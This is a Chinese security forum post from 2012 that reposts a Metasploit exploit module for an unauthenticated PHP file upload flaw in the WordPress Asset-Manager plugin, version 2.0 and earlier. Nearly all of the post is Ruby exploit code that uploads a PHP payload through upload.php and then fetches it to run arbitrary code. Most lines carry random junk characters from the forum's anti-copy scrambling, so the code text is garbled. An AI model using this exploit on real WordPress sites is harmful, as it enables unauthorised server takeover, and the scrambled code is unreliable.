找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2438|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。7 m' k, a# `* h+ j7 P% D# S

6 m4 K- y8 ?/ B* R; A##
& t  E4 M8 b) J# This file is part of the Metasploit Framework and may be subject to
1 q. Q( c. o# M9 [# redistribution and commercial restrictions. Please see the Metasploit* w& D  _' ]8 _, F! ~- z
# Framework web site for more information on licensing and terms of use.' p" _3 U, g1 L% E5 Z3 ^$ {4 S
#   http://metasploit.com/framework/
& [& a; L' a/ k. l# {: w5 a+ r##1 d3 L# u+ w/ O& G; Y  i& A1 w
% _2 _; H) x2 u9 r' b
require 'msf/core'' v+ T$ v4 h7 |8 Z( i( Y
require 'msf/core/exploit/php_exe': V% O; h' w+ M* d: U; |
- Z: N6 A5 c; A. f' q, E( F
class Metasploit3 < Msf::Exploit::Remote, r/ R* C, S$ G! n! D
  Rank = ExcellentRanking# H$ d1 O7 I; p

9 c; a5 n1 p; H3 v( @5 X  include Msf::Exploit::Remote::HttpClient
& n, r3 _9 P; y/ }) b  include Msf::Exploit:hpEXE
+ a# _( z4 C' h8 v% q9 m % N, A5 S3 e8 X4 _* B: E2 T
  def initialize(info = {})+ f1 b) j9 S! R: J6 O4 ^7 h  q6 N* S
    super(update_info(info,% z# b" W' Y0 g* c' }6 w! [
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
  y, N3 r6 W/ V) N      'Description'    => %q{4 r' H8 _6 h1 A
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress# t4 \) q, T+ ?4 n! F
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a+ [& {8 p. k. h- A+ X
        temp directory without authentication, which results in arbitrary code execution.
, _% ~1 ]. B( ^# G$ |0 s  s      },
2 ?0 U& r* P3 w8 k# |      'Author'         =>0 ]3 ?  k+ p. }2 y$ G5 c; \$ o4 D
        [; b5 \$ `. x* |$ r) i8 i/ G) S
          'Sammy FORGIT', # initial discovery
* R8 x: l" J6 h& z5 Y          'James Fitts <fitts.james[at]gmail.com>' # metasploit module9 ]* e5 B) F; o- m
        ],
! G# v. v6 |4 W6 O; u0 k      'License'        => MSF_LICENSE,- H# G7 g. N/ C
      'References'     =>
3 f7 W) G( @# H! j  i        [
: V! `* G! p/ F$ i, }7 y/ o6 C- b          [ 'OSVDB', '82653' ],
5 s( K6 m  h8 G0 o          [ 'BID', '53809' ],
7 R/ d5 T& t# L: B4 P7 V! f" N          [ 'EDB', '18993' ],5 v- x9 ~7 E+ w$ q+ d; j' J- Y
          [ 'URL', 'http:// www.myhack58.com /' ]
* M, ~, y- z4 |/ s( \9 F& h' O        ],
9 P' A1 v( L. \* H" U      'Payload'       =>" B* a+ T3 P' u: j4 ^: p; m$ P3 V
        {1 ^( {% Q3 e. f. L; x1 S8 a
          'BadChars' => "\x00",4 |. r( q7 i9 G$ V4 D7 j; r
        }," W# j; Y+ y4 J1 t/ Y$ W% ~& T1 `+ r
      'Platform'       => 'php',1 d; M  b8 y+ r( z, W0 `1 R
      'Arch'           => ARCH_PHP,3 x  o$ j- s0 Q" `7 b! f
      'Targets'        =>
7 w! Z5 t- n6 W+ j" ^: A        [, n2 L5 J. J" E2 v$ n2 @
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],1 Z; B" ]1 T; [5 R9 ~% E8 d; I- F
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+ ]  w, z0 z9 V/ U        ],* F# S9 D. a- U5 i7 i. i
      'DefaultTarget' => 0,
+ ~$ @3 S! Q  M& j  F- T      'DisclosureDate' => 'May 26 2012'))/ S% F1 t3 A6 g4 `# q

% M3 N0 c* i8 q0 K5 ]2 V1 Q    register_options(
9 v4 D) T+ Z5 V' L- f. S1 h# ?      [
0 z2 [) q1 ?9 ]+ ]* D; l' X        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
' I# f5 f* |( q/ _2 x      ], self.class)
+ ^( d1 ]* n; t& V# r' j; T6 o  end
6 z! `& E4 O7 {2 V: I ; B4 r  e. s$ C, T. O; F
  def exploit6 U. k6 D2 u7 Z7 L
    uri =  target_uri.path
' U: d% G3 j% w7 A    uri << '/' if uri[-1,1] != '/'# y( w0 s8 Y2 [: ?& g
    peer = "#{rhost}:#{rport}"5 l, I: y$ i! E$ t2 b& v
    payload_name = "#{rand_text_alpha(5)}.php"
# P8 ^# s5 }/ \, X$ ]# Y! a    php_payload = get_write_exec_payload(:unlink_self=>true)
; Q# v- i! I, t3 ^# D. K " c- B: e. }' K) J+ J* F8 l; C& {
    data = Rex::MIME::Message.new3 R' U. k/ s' I" u& i: |9 ~- O# w
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
$ }* G) z/ `1 g# S9 f    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
! y$ ?5 S8 {! F+ [ 6 f. Q/ R0 u! _; j' T4 R
    print_status("#{peer} - Uploading payload #{payload_name}")
) A4 |7 i; ^+ J1 H0 @    res = send_request_cgi({/ v& B( c. E. \1 x
      'method'  => 'POST',
" Y) f! E; u" o3 n7 Q* `. J* x! r4 S      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",# K+ Y; K6 S# V' u! R5 D8 k7 f
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",6 X, Q( |; Q) I6 N' g' k* V
      'data'    => post_data
/ r6 u6 Y" R2 @    })# e6 ~! ^9 Y. L
% C8 Q/ e/ k* c- @  A' z% ]
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
' x' d5 u( D: k9 x& P4 J9 a      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")/ R2 s' w9 u+ a$ g
end
2 W8 K3 H9 B2 s7 O
5 Q6 C. g+ b" \# r( f8 u9 E    print_status("#{peer} - Executing payload #{payload_name}")
' n, W6 v3 ^) D    res = send_request_raw({3 c9 V& c: j) L4 M
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",& f. z+ L/ {. j0 K% Y2 A# c9 _
      'method'  => 'GET'% {2 _6 R* L" q! l9 R1 C# o
    })/ N8 t/ G! {2 N3 K

+ Z" b* E+ ?1 h% e8 M, O) P    if res and res.code != 200
- G) l/ l: W2 {1 _8 E- N! k* U3 i      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")9 Q& V! N% q# l' _; D
    end- P" F: }( y) C
  end* D9 B& ^) l& {5 q8 {" b1 _
end
# b# Q! \  k8 }3 ~5 L4 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表